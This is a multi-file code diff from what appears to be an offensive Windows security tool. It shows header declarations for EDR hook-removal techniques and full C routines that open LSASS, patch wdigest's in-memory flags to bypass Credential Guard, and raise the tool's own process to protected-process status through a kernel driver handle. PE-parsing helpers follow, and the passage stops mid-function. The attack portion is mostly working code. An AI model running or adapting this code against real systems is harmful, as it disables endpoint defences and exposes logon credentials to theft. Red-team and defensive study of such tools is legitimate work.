QWORD ActivationContextData; //0x02F8
|
||||
QWORD ProcessAssemblyStorageMap; //0x0300
|
||||
QWORD SystemDefaultActivationContextData; //0x0308
|
||||
QWORD SystemAssemblyStorageMap; //0x0310
|
||||
QWORD MinimumStackCommit; //0x0318
|
||||
|
||||
} PEB64; //struct PEB64
|
||||
|
||||
//
|
||||
// TEB64 structure - preliminary structure; the portion listed current at least as of Windows 8
|
||||
//
|
||||
typedef struct TEB64
|
||||
{
|
||||
BYTE NtTib[56]; //0x0000 / NT_TIB64 structure
|
||||
PTR64 EnvironmentPointer; //0x0038
|
||||
CLIENT_ID64 ClientId; //0x0040
|
||||
PTR64 ActiveRpcHandle; //0x0050
|
||||
PTR64 ThreadLocalStoragePointer; //0x0058
|
||||
PTR64 ProcessEnvironmentBlock; //0x0060 / ptr to PEB64
|
||||
DWORD LastErrorValue; //0x0068
|
||||
DWORD CountOfOwnedCriticalSections; //0x006C
|
||||
PTR64 CsrClientThread; //0x0070
|
||||
PTR64 Win32ThreadInfo; //0x0078
|
||||
DWORD User32Reserved[26]; //0x0080
|
||||
DWORD UserReserved[6]; //0x00E8
|
||||
PTR64 WOW32Reserved; //0x0100
|
||||
DWORD CurrentLocale; //0x0108
|
||||
DWORD FpSoftwareStatusRegister; //0x010C
|
||||
PTR64 SystemReserved1[54]; //0x0110
|
||||
DWORD ExceptionCode; //0x02C0
|
||||
PTR64 ActivationContextStackPointer; //0x02C8
|
||||
|
||||
} TEB64; //struct TEB64
|
||||
@@ -0,0 +1,64 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include "Undoc.h"
|
||||
#include "PEParser.h"
|
||||
#include "PEBBrowse.h"
|
||||
#include <stdio.h>
|
||||
#include <TlHelp32.h>
|
||||
#include <DbgHelp.h>
|
||||
#include <pathcch.h>
|
||||
|
||||
typedef struct diff_t {
|
||||
PVOID disk_ptr;
|
||||
PVOID mem_ptr;
|
||||
size_t size;
|
||||
} diff;
|
||||
|
||||
typedef struct hook_t {
|
||||
PVOID disk_function;
|
||||
PVOID mem_function;
|
||||
LPCSTR functionName;
|
||||
diff* list_patches;
|
||||
} hook;
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory) (
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID* BaseAddress,
|
||||
IN OUT PSIZE_T NumberOfBytesToProtect,
|
||||
IN ULONG NewAccessProtection,
|
||||
OUT PULONG OldAccessProtection);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pRtlGetVersion)(
|
||||
OUT LPOSVERSIONINFOEXW lpVersionInformation);
|
||||
|
||||
enum unhook_method_e {
|
||||
UNHOOK_NONE,
|
||||
|
||||
// Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all detected hooks
|
||||
UNHOOK_WITH_NTPROTECTVIRTUALMEMORY,
|
||||
|
||||
// Constructs an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, by allocating an executable trampoling jumping over the hook, and remove all detected hooks
|
||||
UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
|
||||
|
||||
// Search for an existing trampoline allocated by the EDR itself, to get an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all detected hooks
|
||||
UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
|
||||
|
||||
// Loads an additionnal version of ntdll library into memory, and use the (hopefully unmonitored) version of NtProtectVirtualMemory present in this library to remove all detected hooks
|
||||
UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY,
|
||||
|
||||
// Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory, and uses it to remove all detected hooks
|
||||
UNHOOK_WITH_DIRECT_SYSCALL
|
||||
};
|
||||
|
||||
hook* searchHooks(const char* csvFileName);
|
||||
PVOID hookResolver(PBYTE hookAddr);
|
||||
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method);
|
||||
VOID unhook(hook* hook, DWORD unhook_method);
|
||||
|
||||
|
||||
/*
|
||||
* Cache for NTDLL PE (accessed often)
|
||||
*/
|
||||
PE* ntdllDiskPe_g;
|
||||
PE* ntdllMemPe_g;
|
||||
void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk);
|
||||
@@ -0,0 +1,38 @@
|
||||
/*
|
||||
|
||||
--- Functions to bypass Credential Guard by enabling Wdigest through patching of the g_fParameter_UseLogonCredential and g_IsCredGuardEnabled attributes in memory.
|
||||
--- Full source and credit to https://teamhydra.blog/2020/08/25/bypassing-credential-guard/
|
||||
--- Code adapted from: https://gist.github.com/N4kedTurtle/8238f64d18932c7184faa2d0af2f1240
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
|
||||
#include "Globals.h"
|
||||
#include "FileVersion.h"
|
||||
|
||||
enum WdigestOffsetType {
|
||||
g_fParameter_UseLogonCredential = 0,
|
||||
g_IsCredGuardEnabled = 1
|
||||
};
|
||||
|
||||
union WdigestOffsets {
|
||||
// structure version of wdigest.dll's offsets
|
||||
struct {
|
||||
// wdigest.dll's g_fParameter_UseLogonCredential
|
||||
DWORD64 g_fParameter_UseLogonCredential;
|
||||
// wdigest.dll's g_IsCredGuardEnabled
|
||||
DWORD64 g_IsCredGuardEnabled;
|
||||
} st;
|
||||
|
||||
// array version (usefull for code factoring)
|
||||
DWORD64 ar[2];
|
||||
};
|
||||
|
||||
union WdigestOffsets wdigestOffsets;
|
||||
|
||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename);
|
||||
@@ -0,0 +1,170 @@
|
||||
#include "CredGuard.h"
|
||||
|
||||
DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
|
||||
HANDLE hProcessSnap;
|
||||
HANDLE hLsass;
|
||||
PROCESSENTRY32 pe32;
|
||||
// Set the size of the structure before using it.
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
pe32.th32ProcessID = 0;
|
||||
|
||||
// Take a snapshot of all processes in the system.
|
||||
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"));
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Retrieve information about the first process,
|
||||
// and exit if unsuccessful
|
||||
if (!Process32First(hProcessSnap, &pe32)) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass failed: obtained invalid process handle\n")); // show cause of failure
|
||||
CloseHandle(hProcessSnap); // clean the snapshot object
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Now walk the snapshot of processes, and look for "lsass.exe"
|
||||
do {
|
||||
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe")) == 0) {
|
||||
break;
|
||||
}
|
||||
} while (Process32Next(hProcessSnap, &pe32));
|
||||
CloseHandle(hProcessSnap);
|
||||
|
||||
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe")) != 0 || pe32.th32ProcessID == 0) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass failed: coudln't find LSASS process\n"));
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Open an handle to the LSASS process.
|
||||
hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
|
||||
if (hLsass == NULL || hLsass == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass failed: couldn't open lsass memory (OpenProcess, error code 0x%lx)\n"), GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
HMODULE hModulesArray[512] = { 0 };
|
||||
DWORD lpcbNeeded;
|
||||
if (!EnumProcessModules(hLsass, hModulesArray, sizeof(hModulesArray), &lpcbNeeded)) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass failed: couldn't enumerate lsass loaded modules (EnumProcessModules, error code 0x%lx)\n"), GetLastError());
|
||||
CloseHandle(hLsass);
|
||||
return 1;
|
||||
}
|
||||
|
||||
BOOL returnStatus = FALSE;
|
||||
TCHAR szModulename[MAX_PATH];
|
||||
for (DWORD i = 0; i < (lpcbNeeded / sizeof(HMODULE)); i++) {
|
||||
if (hModulesArray[i] && !GetModuleFileNameEx(hLsass, hModulesArray[i], szModulename, sizeof(szModulename))) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module name for module at index 0x%lx (GetModuleFileNameEx, error code 0x%lx)\n"), i, GetLastError());
|
||||
continue;
|
||||
}
|
||||
|
||||
if (_tcsstr(szModulename, TEXT("wdigest"))) {
|
||||
MODULEINFO moduleInfo = { 0 };
|
||||
if (hModulesArray[i] && !GetModuleInformation(hLsass, hModulesArray[i], &moduleInfo, sizeof(MODULEINFO))) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module information for module at index 0x%lx (GetModuleInformation, error code 0x%lx)\n"), i, GetLastError());
|
||||
continue;
|
||||
}
|
||||
|
||||
// Computes the exact address in memory of g_fParameter_UseLogonCredential & g_IsCredGuardEnabled using load lib wdigest base address + known offsets.
|
||||
DWORD64 wdigestBaseAddress = (DWORD64)moduleInfo.lpBaseOfDll;
|
||||
|
||||
DWORD currentValue = 0x0;
|
||||
DWORD CurrentValueLength = sizeof(DWORD);
|
||||
SIZE_T bytesRead = 0;
|
||||
SIZE_T bytesWritten = 0;
|
||||
|
||||
/*
|
||||
* Setting g_fParameter_UseLogonCredential to 0x1.
|
||||
* First attempt to read the current value and, if the read was successfull patch the g_fParameter_UseLogonCredential to bypass Cred Guard.
|
||||
*/
|
||||
DWORD64 useLogonCredentialAddress = wdigestBaseAddress + wdigestOffsets.st.g_fParameter_UseLogonCredential;
|
||||
DWORD useLogonCredentialPatch = 0x1;
|
||||
_tprintf(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), useLogonCredentialAddress);
|
||||
//if (ReadProcessMemory(hLsass, addrOfUseLogonCredentialGlobalVariable, &dwCurrent, dwCurrentLength, &bytesRead))
|
||||
if (ReadProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, ¤tValue, CurrentValueLength, &bytesRead)) {
|
||||
_tprintf(TEXT("[+] Found wdigest's g_fParameter_UseLogonCredential with a current value of 0x%lx\n"), currentValue);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_fParameter_UseLogonCredential value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
|
||||
break;
|
||||
}
|
||||
if (currentValue != useLogonCredentialPatch) {
|
||||
if (WriteProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, (PVOID)&useLogonCredentialPatch, sizeof(DWORD), &bytesWritten)) {
|
||||
ReadProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, ¤tValue, CurrentValueLength, &bytesRead);
|
||||
if (currentValue == useLogonCredentialPatch) {
|
||||
_tprintf(TEXT("[+] Successfully overwrote wdigest's g_fParameter_UseLogonCredential value to 0x%lx\n"), currentValue);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_fParameter_UseLogonCredential value (current value 0x%lx instead of 0x%lx)\n"), currentValue, useLogonCredentialPatch);
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_fParameter_UseLogonCredential value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
|
||||
break;
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[+] wdigest's g_fParameter_UseLogonCredential is already patched!\n"));
|
||||
}
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
/*
|
||||
* Setting g_IsCredGuardEnabled to 0x0.
|
||||
* Needs to temporary set the memory page of g_IsCredGuardEnabled to PAGE_READWRITE to conduct the patch.
|
||||
* First attempt to read the current value and, if the read was successfull patch the g_fParameter_UseLogonCredential to bypass Cred Guard.
|
||||
*/
|
||||
DWORD64 credGuardEnabledAddress = wdigestBaseAddress + wdigestOffsets.st.g_IsCredGuardEnabled;
|
||||
DWORD isCredGuardEnabledPatch = 0x0;
|
||||
currentValue = 0x0;
|
||||
bytesRead = 0;
|
||||
bytesWritten = 0;
|
||||
DWORD oldMemoryProtection = 0x0;
|
||||
_tprintf(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), credGuardEnabledAddress);
|
||||
_tprintf(TEXT("[*] Attempting to set wdigest's g_IsCredGuardEnabled memory protection as PAGE_READWRITE\n"));
|
||||
if (!VirtualProtectEx(hLsass, (PVOID)credGuardEnabledAddress, sizeof(DWORD), PAGE_READWRITE, &oldMemoryProtection)) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: Failed to set wdigest's g_IsCredGuardEnabled memory protection to PAGE_READWRITE (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
|
||||
break;
|
||||
}
|
||||
if (ReadProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, ¤tValue, CurrentValueLength, &bytesRead)) {
|
||||
_tprintf(TEXT("[+] Found wdigest's g_IsCredGuardEnabled with a current value of 0x%lx\n"), currentValue);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_IsCredGuardEnabled value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
|
||||
break;
|
||||
}
|
||||
if (currentValue != isCredGuardEnabledPatch) {
|
||||
if (WriteProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, (PVOID)&isCredGuardEnabledPatch, sizeof(DWORD), &bytesWritten)) {
|
||||
ReadProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, ¤tValue, CurrentValueLength, &bytesRead);
|
||||
if (currentValue == isCredGuardEnabledPatch) {
|
||||
_tprintf(TEXT("[+] Successfully overwrote wdigest's g_IsCredGuardEnabled value to 0x%lx\n"), currentValue);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_IsCredGuardEnabled value (current value 0x%lx instead of 0x%lx)\n"), currentValue, isCredGuardEnabledPatch);
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_IsCredGuardEnabled value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
|
||||
break;
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[+] wdigest's g_IsCredGuardEnabled is already patched!\n"));
|
||||
}
|
||||
DWORD newMemoryProtection = 0x0;
|
||||
if (!VirtualProtectEx(hLsass, (PVOID)credGuardEnabledAddress, sizeof(DWORD), oldMemoryProtection, &newMemoryProtection)) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: Failed to restore wdigest's g_IsCredGuardEnabled memory protection to its original value (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[+] Successfully restored wdigest's g_IsCredGuardEnabled memory protection to its original value\n"));
|
||||
}
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
returnStatus = TRUE;
|
||||
|
||||
}
|
||||
}
|
||||
CloseHandle(hLsass);
|
||||
|
||||
return returnStatus;
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
/*
|
||||
|
||||
--- Functions to set the current process as a Protected Process (PsProtectedSignerWinTcb-Light).
|
||||
--- The code to locate the EPROCESS structure is adapted from:
|
||||
http://blog.rewolf.pl/blog/?p=1683
|
||||
*/
|
||||
|
||||
#include "RunAsPPL.h"
|
||||
|
||||
DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
|
||||
NTSTATUS status;
|
||||
DWORD currentProcessID = GetCurrentProcessId();
|
||||
|
||||
// Open an handle to our own process.
|
||||
HANDLE selfProcessHandle = OpenProcess(SYNCHRONIZE, FALSE, currentProcessID);
|
||||
if (verbose) {
|
||||
_tprintf(TEXT("[*] Self process handle: 0x%hx\n"), (USHORT)selfProcessHandle);
|
||||
}
|
||||
|
||||
|
||||
// Retrieves the native NtQuerySystemInformation function from ntdll.
|
||||
HMODULE hNtdll = GetModuleHandle(TEXT("ntdll"));
|
||||
if (!hNtdll) {
|
||||
_tprintf(TEXT("[!] ERROR: could not open an handle to ntdll to find the EPROCESS struct of the current process\n"));
|
||||
return 0x0;
|
||||
}
|
||||
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
|
||||
if (!NtQuerySystemInformation) {
|
||||
_tprintf(TEXT("[!] ERROR: could not retrieve NtQuerySystemInformation function to find the EPROCESS struct of the current process\n"));
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
/*
|
||||
* Retrieves all the handle table using NtQuerySystemInformation.
|
||||
* Looping until NtQuerySystemInformation has sufficient space to do so (i.e does not return a STATUS_INFO_LENGTH_MISMATCH).
|
||||
* Possible alternative to explore woule be to use the ReturnLength returned by NtQuerySystemInformation.
|
||||
*/
|
||||
ULONG SystemHandleInformationSize = SystemHandleInformationBaseSize;
|
||||
PSYSTEM_HANDLE_INFORMATION tmpHandleTableInformation = NULL;
|
||||
PSYSTEM_HANDLE_INFORMATION pHandleTableInformation = (PSYSTEM_HANDLE_INFORMATION)malloc(SystemHandleInformationSize);
|
||||
if (!pHandleTableInformation) {
|
||||
_tprintf(TEXT("[!] ERROR: could not allocate memory for the handle table to find the EPROCESS struct of the current process\n"));
|
||||
return 0x0;
|
||||
}
|
||||
status = NtQuerySystemInformation(SystemHandleInformation, pHandleTableInformation, SystemHandleInformationSize, NULL);
|
||||
while (status == STATUS_INFO_LENGTH_MISMATCH) {
|
||||
SystemHandleInformationSize = SystemHandleInformationSize * 2;
|
||||
tmpHandleTableInformation = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleTableInformation, SystemHandleInformationSize);
|
||||
if (!tmpHandleTableInformation) {
|
||||
_tprintf(TEXT("[!] ERROR: could not realloc memory for the handle table to find the EPROCESS struct of the current process\n"));
|
||||
return 0x0;
|
||||
}
|
||||
pHandleTableInformation = tmpHandleTableInformation;
|
||||
status = NtQuerySystemInformation(SystemHandleInformation, pHandleTableInformation, SystemHandleInformationSize, NULL);
|
||||
}
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf(TEXT("[!] ERROR: could not retrieve the HandleTableInformation to find the EPROCESS struct of the current process\n"));
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
// Iterates through all the handles.
|
||||
DWORD64 returnAddress = 0x0;
|
||||
for (DWORD i = 0; i < pHandleTableInformation->NumberOfHandles; i++) {
|
||||
SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = pHandleTableInformation->Handles[i];
|
||||
|
||||
// Only retrieves the handles associated with our own process.
|
||||
if (handleInfo.UniqueProcessId != currentProcessID) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (verbose) {
|
||||
_tprintf(TEXT("[*] Handle for the current process (PID: %hd): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object);
|
||||
}
|
||||
|
||||
if (handleInfo.HandleValue == (USHORT)selfProcessHandle) {
|
||||
_tprintf(TEXT("[+] Found the handle of the current process (PID: %hd): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object);
|
||||
returnAddress = (DWORD64)handleInfo.Object;
|
||||
}
|
||||
}
|
||||
free(pHandleTableInformation);
|
||||
CloseHandle(selfProcessHandle);
|
||||
return returnAddress;
|
||||
}
|
||||
|
||||
int SetCurrentProcessAsProtected(BOOL verbose) {
|
||||
HANDLE Device = GetDriverHandle();
|
||||
DWORD64 processEPROCESSAddress = GetSelfEPROCESSAddress(verbose);
|
||||
if (processEPROCESSAddress == 0x0) {
|
||||
_tprintf(TEXT("[!] ERROR: could not find the EPROCCES struct of the current process to self protect\n"));
|
||||
CloseHandle(Device);
|
||||
return -1;
|
||||
}
|
||||
_tprintf(TEXT("[+] Found self process EPROCCES struct at 0x%I64x\n"), processEPROCESSAddress);
|
||||
|
||||
// Sets the current process EPROCESS's ProtectionLevel as Light WinTcb (PS_PROTECTED_WINTCB_LIGHT, currently 0x61).
|
||||
DWORD64 processSignatureLevelAddress = processEPROCESSAddress + ntoskrnlOffsets.st.ps_protection;
|
||||
// DWORD64 processSignatureLevelAddress = 0xffffe481d073a080 + offsets.st.ps_protection;
|
||||
|
||||
UCHAR flagPPLWinTcb = ((UCHAR)((PsProtectedSignerWinTcb) << 4)) | ((UCHAR)(PsProtectedTypeProtectedLight));
|
||||
_tprintf(TEXT("[*] Protecting own process by setting the EPROCESS's ProtectionLevel (at 0x%I64x) to 0x%hx (PS_PROTECTED_WINTCB_LIGHT)\n"), processSignatureLevelAddress, flagPPLWinTcb);
|
||||
WriteMemoryWORD(Device, processSignatureLevelAddress, flagPPLWinTcb);
|
||||
|
||||
CloseHandle(Device);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
#include "Undoc.h"
|
||||
#include "PEBBrowse.h"
|
||||
#include <stdio.h>
|
||||
|
||||
/*
|
||||
Get the module entry in the InLoadOrderModuleList given the module name
|
||||
*/
|
||||
LDR_DATA_TABLE_ENTRY* getModuleEntryFromNameW(const WCHAR* name) {
|
||||
size_t nameSize = wcslen(name);
|
||||
|
||||
for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) {
|
||||
if (!_memicmp(currentModuleEntry->BaseDllName.Buffer, name, sizeof(WCHAR) * nameSize)) {
|
||||
return currentModuleEntry;
|
||||
}
|
||||
}
|
||||
#ifdef _DEBUG
|
||||
printf("getModuleEntryFromNameW failed to find module\n");
|
||||
#endif // _DEBUG
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
Get the module entry in the InLoadOrderModuleList given an address inside it
|
||||
Assumes : the address belong to a module
|
||||
Returns : the module it should belong to
|
||||
*/
|
||||
LDR_DATA_TABLE_ENTRY* getModuleEntryFromAbsoluteAddr(PVOID addr) {
|
||||
LDR_DATA_TABLE_ENTRY* closest = NULL;
|
||||
uintptr_t distance = (uintptr_t)-1;
|
||||
|
||||
for (LDR_DATA_TABLE_ENTRY* ptr = getNextModuleEntryInLoadOrder(NULL); ptr != NULL; ptr = getNextModuleEntryInLoadOrder(ptr)) {
|
||||
if (ptr->DllBase <= addr && ((uintptr_t)addr - (uintptr_t)ptr->DllBase) < distance) {
|
||||
distance = ((uintptr_t)addr - (uintptr_t)ptr->DllBase);
|
||||
closest = ptr;
|
||||
}
|
||||
}
|
||||
return closest;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
Returns the next module entry in the InLoadOrderModuleList
|
||||
Assumes : curr is a ptr to a module entry in the list or NULL
|
||||
Returns :
|
||||
* if curr is non-NULL:
|
||||
* A pointer to the next entry in the list, or
|
||||
* A NULL pointer, if end of the list is reached
|
||||
* if curr is NULL
|
||||
* A pointer to the first element of the list
|
||||
*/
|
||||
LDR_DATA_TABLE_ENTRY* getNextModuleEntryInLoadOrder(LDR_DATA_TABLE_ENTRY* curr) {
|
||||
LDR_DATA_TABLE_ENTRY* start = (LDR_DATA_TABLE_ENTRY*)getPEB()->Ldr->InLoadOrderModuleList.Flink;
|
||||
if (curr == NULL) {
|
||||
return start;
|
||||
}
|
||||
LDR_DATA_TABLE_ENTRY* next = (LDR_DATA_TABLE_ENTRY*)curr->InLoadOrderLinks.Flink;
|
||||
if (next == start) {
|
||||
return NULL;
|
||||
}
|
||||
return next;
|
||||
}
|
||||
|
||||
#if _WIN64
|
||||
PEB64* getPEB() {
|
||||
return (PEB64*)__readgsqword(0x60);
|
||||
}
|
||||
|
||||
TEB64* getTEB() {
|
||||
return (TEB64*)__readgsqword(0x30);
|
||||
}
|
||||
#else
|
||||
PEB* getPEB() {
|
||||
return (PEB*)__readfsdword(0x30);
|
||||
}
|
||||
|
||||
TEB* getTEB() {
|
||||
return (TEB*)__readfsdword(0x18);
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,363 @@
|
||||
#include "PEParser.h"
|
||||
#include <stdio.h>
|
||||
#include <assert.h>
|
||||
|
||||
IMAGE_SECTION_HEADER* PE_sectionHeader_fromRVA(PE* pe, DWORD rva) {
|
||||
IMAGE_SECTION_HEADER* sectionHeaders = pe->sectionHeaders;
|
||||
for (DWORD sectionIndex = 0; sectionIndex < pe->ntHeader->FileHeader.NumberOfSections; sectionIndex++) {
|
||||
DWORD currSectionVA = sectionHeaders[sectionIndex].VirtualAddress;
|
||||
DWORD currSectionVSize = sectionHeaders[sectionIndex].Misc.VirtualSize;
|
||||
if (currSectionVA <= rva && rva < currSectionVA + currSectionVSize) {
|
||||
return §ionHeaders[sectionIndex];
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*
|
||||
Get the next section header having the given memory access permissions, after the provided section headers "prev".
|
||||
Exemple : PE_nextSectionHeader_fromPermissions(pe, textSection, 1, -1, 0) returns the first section header in the list after "textSection" that is readable and not writable.
|
||||
Returns NULL if no section header is found.
|
||||
*/
|
||||
IMAGE_SECTION_HEADER* PE_nextSectionHeader_fromPermissions(PE* pe, IMAGE_SECTION_HEADER* prev, INT8 readable, INT8 writable, INT8 executable) {
|
||||
IMAGE_SECTION_HEADER* sectionHeaders = pe->sectionHeaders;
|
||||
DWORD firstSectionIndex = prev == NULL ? 0 : (DWORD)((prev + 1) - sectionHeaders);
|
||||
for (DWORD sectionIndex = firstSectionIndex; sectionIndex < pe->ntHeader->FileHeader.NumberOfSections; sectionIndex++) {
|
||||
DWORD sectionCharacteristics = sectionHeaders[sectionIndex].Characteristics;
|
||||
if (readable != 0) {
|
||||
if (sectionCharacteristics & IMAGE_SCN_MEM_READ) {
|
||||
if (readable == -1) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (readable == 1) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (writable != 0) {
|
||||
if (sectionCharacteristics & IMAGE_SCN_MEM_WRITE) {
|
||||
if (writable == -1) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (writable == 1) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (executable != 0) {
|
||||
if (sectionCharacteristics & IMAGE_SCN_MEM_EXECUTE) {
|
||||
if (executable == -1) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (executable == 1) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
return §ionHeaders[sectionIndex];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
PVOID PE_RVA_to_Addr(PE* pe, DWORD rva) {
|
||||
PVOID peBase = pe->dosHeader;
|
||||
if (pe->isMemoryMapped) {
|
||||
return (PBYTE)peBase + rva;
|
||||
}
|
||||
|
||||
IMAGE_SECTION_HEADER* rvaSectionHeader = PE_sectionHeader_fromRVA(pe, rva);
|
||||
if (NULL == rvaSectionHeader) {
|
||||
return NULL;
|
||||
}
|
||||
else {
|
||||
return (PBYTE)peBase + rvaSectionHeader->PointerToRawData + (rva - rvaSectionHeader->VirtualAddress);
|
||||
}
|
||||
}
|
||||
|
||||
DWORD PE_Addr_to_RVA(PE* pe, PVOID addr) {
|
||||
for (int i = 0; i < pe->ntHeader->FileHeader.NumberOfSections; i++) {
|
||||
DWORD sectionVA = pe->sectionHeaders[i].VirtualAddress;
|
||||
DWORD sectionSize = pe->sectionHeaders[i].Misc.VirtualSize;
|
||||
PVOID sectionAddr = PE_RVA_to_Addr(pe, sectionVA);
|
||||
if (sectionAddr <= addr && addr < (PVOID)((intptr_t)sectionAddr + (intptr_t)sectionSize)) {
|
||||
intptr_t relativeOffset = ((intptr_t)addr - (intptr_t)sectionAddr);
|
||||
assert(relativeOffset <= MAXDWORD);
|
||||
return sectionVA + (DWORD)relativeOffset;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
VOID PE_parseRelocations(PE* pe) {
|
||||
IMAGE_BASE_RELOCATION* relocationBlocks = PE_RVA_to_Addr(pe, pe->dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
|
||||
IMAGE_BASE_RELOCATION* relocationBlockPtr = relocationBlocks;
|
||||
IMAGE_BASE_RELOCATION* nextRelocationBlockPtr;
|
||||
pe->nbRelocations = 0;
|
||||
DWORD relocationsLength = 16;
|
||||
pe->relocations = calloc(relocationsLength, sizeof(PE_relocation));
|
||||
if (NULL == pe->relocations)
|
||||
exit(1);
|
||||
|
||||
while (((size_t)relocationBlockPtr - (size_t)relocationBlocks) < pe->dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size) {
|
||||
IMAGE_RELOCATION_ENTRY* relocationEntry = (IMAGE_RELOCATION_ENTRY*)&relocationBlockPtr[1];
|
||||
